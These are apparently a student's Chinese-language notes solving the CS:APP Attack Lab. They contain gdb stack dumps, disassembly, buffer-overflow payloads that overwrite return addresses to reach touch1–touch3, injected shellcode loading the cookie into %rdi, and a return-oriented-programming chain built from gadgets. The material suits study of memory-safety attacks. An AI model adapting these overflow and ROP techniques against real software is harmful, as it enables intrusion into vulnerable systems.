[--------------------------code-----------------------]
0x4017a5: nop
0x4017a6: nop
0x4017a7: nop
=> 0x4017a8 : sub $0x28,%rsp
0x4017ac 4>: mov %rsp,%rdi
0x4017af 7>: callq 0x401a40
0x4017b4 12>: mov $0x1,%eax
0x4017b9 17>: add $0x28,%rsp
buf开创0x28 = 40 个字节
随便填充40个字符
Dump of assembler code for function touch1:
0x00000000004017c0 <+0>: sub $0x8,%rsp
0x00000000004017c4 <+4>: movl $0x1,0x202d0e(%rip) # 0x6044dc
0x00000000004017ce <+14>: mov $0x4030c5,%edi
0x00000000004017d3 <+19>: callq 0x400cc0 @plt>
0x00000000004017d8 <+24>: mov $0x1,%edi
0x00000000004017dd <+29>: callq 0x401c8d
0x00000000004017e2 <+34>: mov $0x0,%edi
0x00000000004017e7 <+39>: callq 0x400e40 @plt>
End of assembler dump.
touch1的地址是0x4017c0
因为是little endian的机器所以将
c0 17 40 00 00 00 00 00
用hex2raw转化为字符,添加到40个a的后面就行了
结果:
[-----------stack--------------]
0000| 0x5561dc78 ('a' <repeats 40 times>, "\300\027@")
0008| 0x5561dc80 ('a' <repeats 32 times>, "\300\027@")
0016| 0x5561dc88 ('a' <repeats 24 times>, "\300\027@")
0024| 0x5561dc90 ('a' <repeats 16 times>, "\300\027@")
0032| 0x5561dc98 ("aaaaaaaa\300\027@")
0040| 0x5561dca0 --> 0x4017c0 (<touch1>: sub $0x8,%rsp)
0048| 0x5561dca8 --> 0x0
0056| 0x5561dcb0 --> 0x401f24 (<launch+112>: cmpl $0x0,0x2025bd(%rip) # 0x6044e8 )
touch2 有参数传递,要改变寄存器rdi里存放的值
结果:
[---------------------stack---------------------------]
0000| 0x5561dc78 ('a' 40 times>, "\260\334aU")
0008| 0x5561dc80 ('a' 32 times>, "\260\334aU")
0016| 0x5561dc88 ('a' 24 times>, "\260\334aU")
0024| 0x5561dc90 ('a' 16 times>, "\260\334aU")
0032| 0x5561dc98 ("aaaaaaaa\260\334aU")
0040| 0x5561dca0 --> 0x5561dcb0 --> 0xc359b997fac7c748
0048| 0x5561dca8 --> 0x4017ec (: sub $0x8,%rsp)
0056| 0x5561dcb0 --> 0xc359b997fac7c748
依旧是40个a,接着是把返回的地址改为调用0x5561dcb0(修改寄存器的代码),修改0x5561dca8的值为调用touch2,修改0x5561dcb0的值为调用添加的代码code
栈的指针指向0040调用完code之后,刚好向下移动到0048调用touch2
code代码:
mov $0x59b997fa,%rdi
ret
编译:
gcc -c code.s
objdump -d code.o > code.d
./hex2raw -i code.d > code.r
看到网上的码还有一步pushq $0x004017ec (touch2的地址)
结果:
ret时返回到0x5561dc78(%rsp的地址?)执行注入的代码,然后直接调用touch2了
[-----------------------stack-------------------------]
0000| 0x5561dc78 --> 0x6859b997fac7c748
0008| 0x5561dc80 --> 0x303030c3004017ec
0016| 0x5561dc88 ('0' 24 times>, "x\334aU")
0024| 0x5561dc90 ('0' 16 times>, "x\334aU")
0032| 0x5561dc98 ("00000000x\334aU")
0040| 0x5561dca0 --> 0x5561dc78 --> 0x6859b997fac7c748
0048| 0x5561dca8 --> 0x0
0056| 0x5561dcb0 --> 0x401f24 (112>: cmpl $0x0,0x2025bd(%rip) # 0x6044e8 )
touch3参数是string
将str存到0x5561dcb8的地址上
code将str拷贝到%rdi
调用同上
[-----------------------stack-------------------------]
0000| 0x5561dc78 ('a' )
0008| 0x5561dc80 ('a' )
0016| 0x5561dc88 ('a' )
0024| 0x5561dc90 ('a' )
0032| 0x5561dc98 ("aaaaaaaa")
0040| 0x5561dca0 --> 0x401900 (6>: (bad))
0048| 0x5561dca8 --> 0x9 ('\t')
0056| 0x5561dcb0 --> 0x401f24 (112>: )
str是cookie的地址值用ascii转为字符串
(0x)59b997fa
对应35 39 62 39 39 37 66 61 00(字符串后面补空字符’\0’)
code代码:
mov $0x5561dcb8,%rdi
ret
看了看文档,解释的很清楚w
利用已经有的代码片段gadget,通过汇编的解释,来调用自己想要执行的程序
第一个程序还是调用touch2
要将cookiee放入rdi之中
但pop %rdi(5f)的指令很少出现
所以转换为
popq %rax
movq %rax %rdi
ret
根据表里的编码
popq %rax的编码是58
movq %rax %rdi的编码是48 89 c7
在rtarget.d里找到这两个代码片段
00000000004019a7 :
4019a7: 8d 87 51 73 58 90 lea -0x6fa78caf(%rdi),%eax
4019ad: c3 retq
地址为0x4019ab
00000000004019a0 :
4019a0: 8d 87 48 89 c7 c3 lea -0x3c3876b8(%rdi),%eax
4019a6: c3 retq
00000000004019ae :
4019ae: c7 07 48 89 c7 c7 movl $0xc7c78948,(%rdi)
4019b4: c3 retq
273的地址是0x4019a2
转化为little endian的形式然后就是合并,转换为字符串注入
cat offeset gadget1 cookiee gadget2 touch2 > code
./hex2raw -i code > code.r
然后就成功了
[---------------stack----------------------]
0000| 0x7ffffffee8a0 ('a' <repeats 40 times>, "\253\031@")
0008| 0x7ffffffee8a8 ('a' <repeats 32 times>, "\253\031@")
0016| 0x7ffffffee8b0 ('a' <repeats 24 times>, "\253\031@")
0024| 0x7ffffffee8b8 ('a' <repeats 16 times>, "\253\031@")
0032| 0x7ffffffee8c0 ("aaaaaaaa\253\031@")
0040| 0x7ffffffee8c8 --> 0x4019ab (<addval_219+4>: pop %rax)
0048| 0x7ffffffee8d0 --> 0x59b997fa
0056| 0x7ffffffee8d8 --> 0x4019a2 (<addval_273+2>: mov %rax,%rdi)
0064| 0x7ffffffee8e0 --> 0x4017ec (<touch2>: sub $0x8,%rsp)
一开始试了237,但不知道为什么这个返回的时候返回到了别的函数导致segmentation fault